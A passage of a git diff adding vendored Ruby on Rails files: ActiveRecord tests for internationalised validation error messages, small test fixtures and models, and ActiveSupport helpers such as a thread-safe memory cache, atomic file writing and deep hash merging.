w/ mocha + + def test_validates_format_of_generates_message + Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/ + @topic.title = '72x' + @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => nil}) + @topic.valid? + end + + def test_validates_format_of_generates_message_with_custom_default_message + Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/, :message => 'custom' + @topic.title = '72x' + @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => 'custom'}) + @topic.valid? + end + + # validates_inclusion_of w/ mocha + + def test_validates_inclusion_of_generates_message + Topic.validates_inclusion_of :title, :in => %w(a b c) + @topic.title = 'z' + @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => nil}) + @topic.valid? + end + + def test_validates_inclusion_of_generates_message_with_custom_default_message + Topic.validates_inclusion_of :title, :in => %w(a b c), :message => 'custom' + @topic.title = 'z' + @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => 'custom'}) + @topic.valid? + end + + # validates_exclusion_of w/ mocha + + def test_validates_exclusion_of_generates_message + Topic.validates_exclusion_of :title, :in => %w(a b c) + @topic.title = 'a' + @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => nil}) + @topic.valid? + end + + def test_validates_exclusion_of_generates_message_with_custom_default_message + Topic.validates_exclusion_of :title, :in => %w(a b c), :message => 'custom' + @topic.title = 'a' + @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => 'custom'}) + @topic.valid? + end + + # validates_numericality_of without :only_integer w/ mocha + + def test_validates_numericality_of_generates_message + Topic.validates_numericality_of :title + @topic.title = 'a' + @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil}) + @topic.valid? + end + + def test_validates_numericality_of_generates_message_with_custom_default_message + Topic.validates_numericality_of :title, :message => 'custom' + @topic.title = 'a' + @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'}) + @topic.valid? + end + + # validates_numericality_of with :only_integer w/ mocha + + def test_validates_numericality_of_only_integer_generates_message + Topic.validates_numericality_of :title, :only_integer => true + @topic.title = 'a' + @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil}) + @topic.valid? + end + + def test_validates_numericality_of_only_integer_generates_message_with_custom_default_message + Topic.validates_numericality_of :title, :only_integer => true, :message => 'custom' + @topic.title = 'a' + @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'}) + @topic.valid? + end + + # validates_numericality_of :odd w/ mocha + + def test_validates_numericality_of_odd_generates_message + Topic.validates_numericality_of :title, :only_integer => true, :odd => true + @topic.title = 0 + @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => nil}) + @topic.valid? + end + + def test_validates_numericality_of_odd_generates_message_with_custom_default_message + Topic.validates_numericality_of :title, :only_integer => true, :odd => true, :message => 'custom' + @topic.title = 0 + @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => 'custom'}) + @topic.valid? + end + + # validates_numericality_of :less_than w/ mocha + + def test_validates_numericality_of_less_than_generates_message + Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0 + @topic.title = 1 + @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => nil}) + @topic.valid? + end + + def test_validates_numericality_of_odd_generates_message_with_custom_default_message + Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0, :message => 'custom' + @topic.title = 1 + @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => 'custom'}) + @topic.valid? + end + + # validates_associated w/ mocha + + def test_validates_associated_generates_message + Topic.validates_associated :replies + replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil}) + replied_topic.valid? + end + + def test_validates_associated_generates_message_with_custom_default_message + Topic.validates_associated :replies + replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil}) + replied_topic.valid? + end + end + + # validates_confirmation_of w/o mocha + + def test_validates_confirmation_of_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:confirmation => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:confirmation => 'global message'}}} + + Topic.validates_confirmation_of :title + @topic.title_confirmation = 'foo' + @topic.valid? + assert_equal 'custom message', @topic.errors.on(:title) + end + + def test_validates_confirmation_of_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:confirmation => 'global message'}}} + + Topic.validates_confirmation_of :title + @topic.title_confirmation = 'foo' + @topic.valid? + assert_equal 'global message', @topic.errors.on(:title) + end + + # validates_acceptance_of w/o mocha + + def test_validates_acceptance_of_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:accepted => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:accepted => 'global message'}}} + + Topic.validates_acceptance_of :title, :allow_nil => false + @topic.valid? + assert_equal 'custom message', @topic.errors.on(:title) + end + + def test_validates_acceptance_of_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:accepted => 'global message'}}} + + Topic.validates_acceptance_of :title, :allow_nil => false + @topic.valid? + assert_equal 'global message', @topic.errors.on(:title) + end + + # validates_presence_of w/o mocha + + def test_validates_presence_of_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:blank => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:blank => 'global message'}}} + + Topic.validates_presence_of :title + @topic.valid? + assert_equal 'custom message', @topic.errors.on(:title) + end + + def test_validates_presence_of_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:blank => 'global message'}}} + + Topic.validates_presence_of :title + @topic.valid? + assert_equal 'global message', @topic.errors.on(:title) + end + + # validates_length_of :within w/o mocha + + def test_validates_length_of_within_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:too_short => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:too_short => 'global message'}}} + + Topic.validates_length_of :title, :within => 3..5 + @topic.valid? + assert_equal 'custom message', @topic.errors.on(:title) + end + + def test_validates_length_of_within_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:too_short => 'global message'}}} + + Topic.validates_length_of :title, :within => 3..5 + @topic.valid? + assert_equal 'global message', @topic.errors.on(:title) + end + + # validates_length_of :is w/o mocha + + def test_validates_length_of_within_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:wrong_length => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:wrong_length => 'global message'}}} + + Topic.validates_length_of :title, :is => 5 + @topic.valid? + assert_equal 'custom message', @topic.errors.on(:title) + end + + def test_validates_length_of_within_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:wrong_length => 'global message'}}} + + Topic.validates_length_of :title, :is => 5 + @topic.valid? + assert_equal 'global message', @topic.errors.on(:title) + end + + # validates_uniqueness_of w/o mocha + + def test_validates_length_of_within_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:wrong_length => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:wrong_length => 'global message'}}} + + Topic.validates_length_of :title, :is => 5 + @topic.valid? + assert_equal 'custom message', @topic.errors.on(:title) + end + + def test_validates_length_of_within_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:wrong_length => 'global message'}}} + + Topic.validates_length_of :title, :is => 5 + @topic.valid? + assert_equal 'global message', @topic.errors.on(:title) + end + + + # validates_format_of w/o mocha + + def test_validates_format_of_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:invalid => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}} + + Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/ + @topic.valid? + assert_equal 'custom message', @topic.errors.on(:title) + end + + def test_validates_format_of_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}} + + Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/ + @topic.valid? + assert_equal 'global message', @topic.errors.on(:title) + end + + # validates_inclusion_of w/o mocha + + def test_validates_inclusion_of_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:inclusion => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:inclusion => 'global message'}}} + + Topic.validates_inclusion_of :title, :in => %w(a b c) + @topic.valid? + assert_equal 'custom message', @topic.errors.on(:title) + end + + def test_validates_inclusion_of_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:inclusion => 'global message'}}} + + Topic.validates_inclusion_of :title, :in => %w(a b c) + @topic.valid? + assert_equal 'global message', @topic.errors.on(:title) + end + + # validates_exclusion_of w/o mocha + + def test_validates_exclusion_of_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:exclusion => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:exclusion => 'global message'}}} + + Topic.validates_exclusion_of :title, :in => %w(a b c) + @topic.title = 'a' + @topic.valid? + assert_equal 'custom message', @topic.errors.on(:title) + end + + def test_validates_exclusion_of_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:exclusion => 'global message'}}} + + Topic.validates_exclusion_of :title, :in => %w(a b c) + @topic.title = 'a' + @topic.valid? + assert_equal 'global message', @topic.errors.on(:title) + end + + # validates_numericality_of without :only_integer w/o mocha + + def test_validates_numericality_of_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:not_a_number => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:not_a_number => 'global message'}}} + + Topic.validates_numericality_of :title + @topic.title = 'a' + @topic.valid? + assert_equal 'custom message', @topic.errors.on(:title) + end + + def test_validates_numericality_of_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:not_a_number => 'global message'}}} + + Topic.validates_numericality_of :title, :only_integer => true + @topic.title = 'a' + @topic.valid? + assert_equal 'global message', @topic.errors.on(:title) + end + + # validates_numericality_of with :only_integer w/o mocha + + def test_validates_numericality_of_only_integer_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:not_a_number => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:not_a_number => 'global message'}}} + + Topic.validates_numericality_of :title, :only_integer => true + @topic.title = 'a' + @topic.valid? + assert_equal 'custom message', @topic.errors.on(:title) + end + + def test_validates_numericality_of_only_integer_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:not_a_number => 'global message'}}} + + Topic.validates_numericality_of :title, :only_integer => true + @topic.title = 'a' + @topic.valid? + assert_equal 'global message', @topic.errors.on(:title) + end + + # validates_numericality_of :odd w/o mocha + + def test_validates_numericality_of_odd_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:odd => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:odd => 'global message'}}} + + Topic.validates_numericality_of :title, :only_integer => true, :odd => true + @topic.title = 0 + @topic.valid? + assert_equal 'custom message', @topic.errors.on(:title) + end + + def test_validates_numericality_of_odd_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:odd => 'global message'}}} + + Topic.validates_numericality_of :title, :only_integer => true, :odd => true + @topic.title = 0 + @topic.valid? + assert_equal 'global message', @topic.errors.on(:title) + end + + # validates_numericality_of :less_than w/o mocha + + def test_validates_numericality_of_less_than_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:less_than => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:less_than => 'global message'}}} + + Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0 + @topic.title = 1 + @topic.valid? + assert_equal 'custom message', @topic.errors.on(:title) + end + + def test_validates_numericality_of_less_than_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:less_than => 'global message'}}} + + Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0 + @topic.title = 1 + @topic.valid? + assert_equal 'global message', @topic.errors.on(:title) + end + + + # validates_associated w/o mocha + + def test_validates_associated_finds_custom_model_key_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:replies => {:invalid => 'custom message'}}}}}} + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}} + + Topic.validates_associated :replies + replied_topic.valid? + assert_equal 'custom message', replied_topic.errors.on(:replies) + end + + def test_validates_associated_finds_global_default_translation + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}} + + Topic.validates_associated :replies + replied_topic.valid? + assert_equal 'global message', replied_topic.errors.on(:replies) + end + + def test_validations_with_message_symbol_must_translate + I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:custom_error => "I am a custom error"}}} + Topic.validates_presence_of :title, :message => :custom_error + @topic.title = nil + @topic.valid? + assert_equal "I am a custom error", @topic.errors.on(:title) + end + + def test_validates_with_message_symbol_must_translate_per_attribute + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:custom_error => "I am a custom error"}}}}}} + Topic.validates_presence_of :title, :message => :custom_error + @topic.title = nil + @topic.valid? + assert_equal "I am a custom error", @topic.errors.on(:title) + end + + def test_validates_with_message_symbol_must_translate_per_model + I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:custom_error => "I am a custom error"}}}} + Topic.validates_presence_of :title, :message => :custom_error + @topic.title = nil + @topic.valid? + assert_equal "I am a custom error", @topic.errors.on(:title) + end + + def test_validates_with_message_string + Topic.validates_presence_of :title, :message => "I am a custom error" + @topic.title = nil + @topic.valid? + assert_equal "I am a custom error", @topic.errors.on(:title) + end + +end + +class ActiveRecordValidationsGenerateMessageI18nTests < Test::Unit::TestCase + def setup + reset_callbacks Topic + @topic = Topic.new + I18n.backend.store_translations :'en', { + :activerecord => { + :errors => { + :messages => { + :inclusion => "is not included in the list", + :exclusion => "is reserved", + :invalid => "is invalid", + :confirmation => "doesn't match confirmation", + :accepted => "must be accepted", + :empty => "can't be empty", + :blank => "can't be blank", + :too_long => "is too long (maximum is {{count}} characters)", + :too_short => "is too short (minimum is {{count}} characters)", + :wrong_length => "is the wrong length (should be {{count}} characters)", + :taken => "has already been taken", + :not_a_number => "is not a number", + :greater_than => "must be greater than {{count}}", + :greater_than_or_equal_to => "must be greater than or equal to {{count}}", + :equal_to => "must be equal to {{count}}", + :less_than => "must be less than {{count}}", + :less_than_or_equal_to => "must be less than or equal to {{count}}", + :odd => "must be odd", + :even => "must be even" + } + } + } + } + end + + def reset_callbacks(*models) + models.each do |model| + model.instance_variable_set("@validate_callbacks", ActiveSupport::Callbacks::CallbackChain.new) + model.instance_variable_set("@validate_on_create_callbacks", ActiveSupport::Callbacks::CallbackChain.new) + model.instance_variable_set("@validate_on_update_callbacks", ActiveSupport::Callbacks::CallbackChain.new) + end + end + + # validates_inclusion_of: generate_message(attr_name, :inclusion, :default => configuration[:message], :value => value) + def test_generate_message_inclusion_with_default_message + assert_equal 'is not included in the list', @topic.errors.generate_message(:title, :inclusion, :default => nil, :value => 'title') + end + + def test_generate_message_inclusion_with_custom_message + assert_equal 'custom message title', @topic.errors.generate_message(:title, :inclusion, :default => 'custom message {{value}}', :value => 'title') + end + + # validates_exclusion_of: generate_message(attr_name, :exclusion, :default => configuration[:message], :value => value) + def test_generate_message_exclusion_with_default_message + assert_equal 'is reserved', @topic.errors.generate_message(:title, :exclusion, :default => nil, :value => 'title') + end + + def test_generate_message_exclusion_with_custom_message + assert_equal 'custom message title', @topic.errors.generate_message(:title, :exclusion, :default => 'custom message {{value}}', :value => 'title') + end + + # validates_associated: generate_message(attr_name, :invalid, :default => configuration[:message], :value => value) + # validates_format_of: generate_message(attr_name, :invalid, :default => configuration[:message], :value => value) + def test_generate_message_invalid_with_default_message + assert_equal 'is invalid', @topic.errors.generate_message(:title, :invalid, :default => nil, :value => 'title') + end + + def test_generate_message_invalid_with_custom_message + assert_equal 'custom message title', @topic.errors.generate_message(:title, :invalid, :default => 'custom message {{value}}', :value => 'title') + end + + # validates_confirmation_of: generate_message(attr_name, :confirmation, :default => configuration[:message]) + def test_generate_message_confirmation_with_default_message + assert_equal "doesn't match confirmation", @topic.errors.generate_message(:title, :confirmation, :default => nil) + end + + def test_generate_message_confirmation_with_custom_message + assert_equal 'custom message', @topic.errors.generate_message(:title, :confirmation, :default => 'custom message') + end + + # validates_acceptance_of: generate_message(attr_name, :accepted, :default => configuration[:message]) + def test_generate_message_accepted_with_default_message + assert_equal "must be accepted", @topic.errors.generate_message(:title, :accepted, :default => nil) + end + + def test_generate_message_accepted_with_custom_message + assert_equal 'custom message', @topic.errors.generate_message(:title, :accepted, :default => 'custom message') + end + + # add_on_empty: generate_message(attr, :empty, :default => custom_message) + def test_generate_message_empty_with_default_message + assert_equal "can't be empty", @topic.errors.generate_message(:title, :empty, :default => nil) + end + + def test_generate_message_empty_with_custom_message + assert_equal 'custom message', @topic.errors.generate_message(:title, :empty, :default => 'custom message') + end + + # add_on_blank: generate_message(attr, :blank, :default => custom_message) + def test_generate_message_blank_with_default_message + assert_equal "can't be blank", @topic.errors.generate_message(:title, :blank, :default => nil) + end + + def test_generate_message_blank_with_custom_message + assert_equal 'custom message', @topic.errors.generate_message(:title, :blank, :default => 'custom message') + end + + # validates_length_of: generate_message(attr, :too_long, :default => options[:too_long], :count => option_value.end) + def test_generate_message_too_long_with_default_message + assert_equal "is too long (maximum is 10 characters)", @topic.errors.generate_message(:title, :too_long, :default => nil, :count => 10) + end + + def test_generate_message_too_long_with_custom_message + assert_equal 'custom message 10', @topic.errors.generate_message(:title, :too_long, :default => 'custom message {{count}}', :count => 10) + end + + # validates_length_of: generate_message(attr, :too_short, :default => options[:too_short], :count => option_value.begin) + def test_generate_message_too_short_with_default_message + assert_equal "is too short (minimum is 10 characters)", @topic.errors.generate_message(:title, :too_short, :default => nil, :count => 10) + end + + def test_generate_message_too_short_with_custom_message + assert_equal 'custom message 10', @topic.errors.generate_message(:title, :too_short, :default => 'custom message {{count}}', :count => 10) + end + + # validates_length_of: generate_message(attr, key, :default => custom_message, :count => option_value) + def test_generate_message_wrong_length_with_default_message + assert_equal "is the wrong length (should be 10 characters)", @topic.errors.generate_message(:title, :wrong_length, :default => nil, :count => 10) + end + + def test_generate_message_wrong_length_with_custom_message + assert_equal 'custom message 10', @topic.errors.generate_message(:title, :wrong_length, :default => 'custom message {{count}}', :count => 10) + end + + # validates_uniqueness_of: generate_message(attr_name, :taken, :default => configuration[:message]) + def test_generate_message_taken_with_default_message + assert_equal "has already been taken", @topic.errors.generate_message(:title, :taken, :default => nil, :value => 'title') + end + + def test_generate_message_taken_with_custom_message + assert_equal 'custom message title', @topic.errors.generate_message(:title, :taken, :default => 'custom message {{value}}', :value => 'title') + end + + # validates_numericality_of: generate_message(attr_name, :not_a_number, :value => raw_value, :default => configuration[:message]) + def test_generate_message_not_a_number_with_default_message + assert_equal "is not a number", @topic.errors.generate_message(:title, :not_a_number, :default => nil, :value => 'title') + end + + def test_generate_message_not_a_number_with_custom_message + assert_equal 'custom message title', @topic.errors.generate_message(:title, :not_a_number, :default => 'custom message {{value}}', :value => 'title') + end + + # validates_numericality_of: generate_message(attr_name, option, :value => raw_value, :default => configuration[:message]) + def test_generate_message_greater_than_with_default_message + assert_equal "must be greater than 10", @topic.errors.generate_message(:title, :greater_than, :default => nil, :value => 'title', :count => 10) + end + + def test_generate_message_greater_than_or_equal_to_with_default_message + assert_equal "must be greater than or equal to 10", @topic.errors.generate_message(:title, :greater_than_or_equal_to, :default => nil, :value => 'title', :count => 10) + end + + def test_generate_message_equal_to_with_default_message + assert_equal "must be equal to 10", @topic.errors.generate_message(:title, :equal_to, :default => nil, :value => 'title', :count => 10) + end + + def test_generate_message_less_than_with_default_message + assert_equal "must be less than 10", @topic.errors.generate_message(:title, :less_than, :default => nil, :value => 'title', :count => 10) + end + + def test_generate_message_less_than_or_equal_to_with_default_message + assert_equal "must be less than or equal to 10", @topic.errors.generate_message(:title, :less_than_or_equal_to, :default => nil, :value => 'title', :count => 10) + end + + def test_generate_message_odd_with_default_message + assert_equal "must be odd", @topic.errors.generate_message(:title, :odd, :default => nil, :value => 'title', :count => 10) + end + + def test_generate_message_even_with_default_message + assert_equal "must be even", @topic.errors.generate_message(:title, :even, :default => nil, :value => 'title', :count => 10) + end + +end diff --git a/vendor/rails/activerecord/test/fixtures/organizations.yml b/vendor/rails/activerecord/test/fixtures/organizations.yml new file mode 100644 index 00000000..25295bff --- /dev/null +++ b/vendor/rails/activerecord/test/fixtures/organizations.yml @@ -0,0 +1,5 @@ +nsa: + name: No Such Agency +discordians: + name: Discordians + diff --git a/vendor/rails/activerecord/test/migrations/broken/100_migration_that_raises_exception.rb b/vendor/rails/activerecord/test/migrations/broken/100_migration_that_raises_exception.rb new file mode 100644 index 00000000..ffb224da --- /dev/null +++ b/vendor/rails/activerecord/test/migrations/broken/100_migration_that_raises_exception.rb @@ -0,0 +1,10 @@ +class MigrationThatRaisesException < ActiveRecord::Migration + def self.up + add_column "people", "last_name", :string + raise 'Something broke' + end + + def self.down + remove_column "people", "last_name" + end +end diff --git a/vendor/rails/activerecord/test/models/member_detail.rb b/vendor/rails/activerecord/test/models/member_detail.rb new file mode 100644 index 00000000..e7314545 --- /dev/null +++ b/vendor/rails/activerecord/test/models/member_detail.rb @@ -0,0 +1,4 @@ +class MemberDetail < ActiveRecord::Base + belongs_to :member + belongs_to :organization +end diff --git a/vendor/rails/activerecord/test/models/organization.rb b/vendor/rails/activerecord/test/models/organization.rb new file mode 100644 index 00000000..d79d5037 --- /dev/null +++ b/vendor/rails/activerecord/test/models/organization.rb @@ -0,0 +1,4 @@ +class Organization < ActiveRecord::Base + has_many :member_details + has_many :members, :through => :member_details +end \ No newline at end of file diff --git a/vendor/rails/activesupport/lib/active_support/cache/synchronized_memory_store.rb b/vendor/rails/activesupport/lib/active_support/cache/synchronized_memory_store.rb new file mode 100644 index 00000000..ea03a119 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/cache/synchronized_memory_store.rb @@ -0,0 +1,47 @@ +module ActiveSupport + module Cache + # Like MemoryStore, but thread-safe. + class SynchronizedMemoryStore < MemoryStore + def initialize + super + @guard = Monitor.new + end + + def fetch(key, options = {}) + @guard.synchronize { super } + end + + def read(name, options = nil) + @guard.synchronize { super } + end + + def write(name, value, options = nil) + @guard.synchronize { super } + end + + def delete(name, options = nil) + @guard.synchronize { super } + end + + def delete_matched(matcher, options = nil) + @guard.synchronize { super } + end + + def exist?(name,options = nil) + @guard.synchronize { super } + end + + def increment(key, amount = 1) + @guard.synchronize { super } + end + + def decrement(key, amount = 1) + @guard.synchronize { super } + end + + def clear + @guard.synchronize { super } + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/file/atomic.rb b/vendor/rails/activesupport/lib/active_support/core_ext/file/atomic.rb new file mode 100644 index 00000000..f988eff3 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/core_ext/file/atomic.rb @@ -0,0 +1,46 @@ +require 'tempfile' + +module ActiveSupport #:nodoc: + module CoreExtensions #:nodoc: + module File #:nodoc: + module Atomic + # Write to a file atomically. Useful for situations where you don't + # want other processes or threads to see half-written files. + # + # File.atomic_write("important.file") do |file| + # file.write("hello") + # end + # + # If your temp directory is not on the same filesystem as the file you're + # trying to write, you can provide a different temporary directory. + # + # File.atomic_write("/data/something.important", "/data/tmp") do |f| + # file.write("hello") + # end + def atomic_write(file_name, temp_dir = Dir.tmpdir) + temp_file = Tempfile.new(basename(file_name), temp_dir) + yield temp_file + temp_file.close + + begin + # Get original file permissions + old_stat = stat(file_name) + rescue Errno::ENOENT + # No old permissions, write a temp file to determine the defaults + check_name = ".permissions_check.#{Thread.current.object_id}.#{Process.pid}.#{rand(1000000)}" + open(check_name, "w") { } + old_stat = stat(check_name) + unlink(check_name) + end + + # Overwrite original file with temp file + rename(temp_file.path, file_name) + + # Set correct permissions on new file + chown(old_stat.uid, old_stat.gid, file_name) + chmod(old_stat.mode, file_name) + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/float/time.rb b/vendor/rails/activesupport/lib/active_support/core_ext/float/time.rb new file mode 100644 index 00000000..13f2e0dd --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/core_ext/float/time.rb @@ -0,0 +1,27 @@ +module ActiveSupport #:nodoc: + module CoreExtensions #:nodoc: + module Float #:nodoc: + module Time + # Deprication helper methods not available as core_ext is loaded first. + def years + ::ActiveSupport::Deprecation.warn(self.class.deprecated_method_warning(:years, "Fractional years are not respected. Convert value to integer before calling #years."), caller) + years_without_deprecation + end + def months + ::ActiveSupport::Deprecation.warn(self.class.deprecated_method_warning(:months, "Fractional months are not respected. Convert value to integer before calling #months."), caller) + months_without_deprecation + end + + def months_without_deprecation + ActiveSupport::Duration.new(self * 30.days, [[:months, self]]) + end + alias :month :months + + def years_without_deprecation + ActiveSupport::Duration.new(self * 365.25.days, [[:years, self]]) + end + alias :year :years + end + end + end +end \ No newline at end of file diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash/deep_merge.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash/deep_merge.rb new file mode 100644 index 00000000..f8842ba5 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/core_ext/hash/deep_merge.rb @@ -0,0 +1,23 @@ +module ActiveSupport #:nodoc: + module CoreExtensions #:nodoc: + module Hash #:nodoc: + # Allows for deep merging + module DeepMerge + # Returns a new hash with +self+ and +other_hash+ merged recursively. + def deep_merge(other_hash) + self.merge(other_hash) do |key, oldval, newval| + oldval = oldval.to_hash if oldval.respond_to?(:to_hash) + newval = newval.to_hash if newval.respond_to?(:to_hash) + oldval.class.to_s == 'Hash' && newval.class.to_s == 'Hash' ? oldval.deep_merge(newval) : newval + end + end + + # Returns a new hash with +self+ and +other_hash+ merged recursively. + # Modifies the receiver in place. + def deep_merge!(other_hash) + replace(deep_merge(other_hash)) + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/integer/time.rb b/vendor/rails/activesupport/lib/active_support/core_ext/integer/time.rb new file mode 100644 index 00000000..356e145b --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/core_ext/integer/time.rb @@ -0,0 +1,45 @@ +module ActiveSupport #:nodoc: + module CoreExtensions #:nodoc: + module Integer #:nodoc: + # Enables the use of time calculations and declarations, like 45.minutes + 2.hours + 4.years. + # + # These methods use Time#advance for precise date calculations when using from_now, ago, etc. + # as well as adding or subtracting their results from a Time object. For example: + # + # # equivalent to Time.now.advance(:months => 1) + # 1.month.from_now + # + # # equivalent to Time.now.advance(:years => 2) + # 2.years.from_now + # + # # equivalent to Time.now.advance(:months => 4, :years => 5) + # (4.months + 5.years).from_now + # + # While these methods provide precise calculation when used as in the examples above, care + # should be taken to note that this is not true if the result of `months', `years', etc is + # converted before use: + # + # # equivalent to 30.days.to_i.from_now + # 1.month.to_i.from_now + # + # # equivalent to 365.25.days.to_f.from_now + # 1.year.to_f.from_now + # + # In such cases, Ruby's core + # Date[http://stdlib.rubyonrails.org/libdoc/date/rdoc/index.html] and + # Time[http://stdlib.rubyonrails.org/libdoc/time/rdoc/index.html] should be used for precision + # date and time arithmetic + module Time + def months + ActiveSupport::Duration.new(self * 30.days, [[:months, self]]) + end + alias :month :months + + def years + ActiveSupport::Duration.new(self * 365.25.days, [[:years, self]]) + end + alias :year :years + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/synchronization.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/synchronization.rb new file mode 100644 index 00000000..25160602 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/core_ext/module/synchronization.rb @@ -0,0 +1,39 @@ +class Module + # Synchronize access around a method, delegating synchronization to a + # particular mutex. A mutex (either a Mutex, or any object that responds to + # #synchronize and yields to a block) must be provided as a final :with option. + # The :with option should be a symbol or string, and can represent a method, + # constant, or instance or class variable. + # Example: + # class SharedCache + # @@lock = Mutex.new + # def expire + # ... + # end + # synchronize :expire, :with => :@@lock + # end + def synchronize(*methods) + options = methods.extract_options! + unless options.is_a?(Hash) && with = options[:with] + raise ArgumentError, "Synchronization needs a mutex. Supply an options hash with a :with key as the last argument (e.g. synchronize :hello, :with => :@mutex)." + end + + methods.each do |method| + aliased_method, punctuation = method.to_s.sub(/([?!=])$/, ''), $1 + + if method_defined?("#{aliased_method}_without_synchronization#{punctuation}") + raise ArgumentError, "#{method} is already synchronized. Double synchronization is not currently supported." + 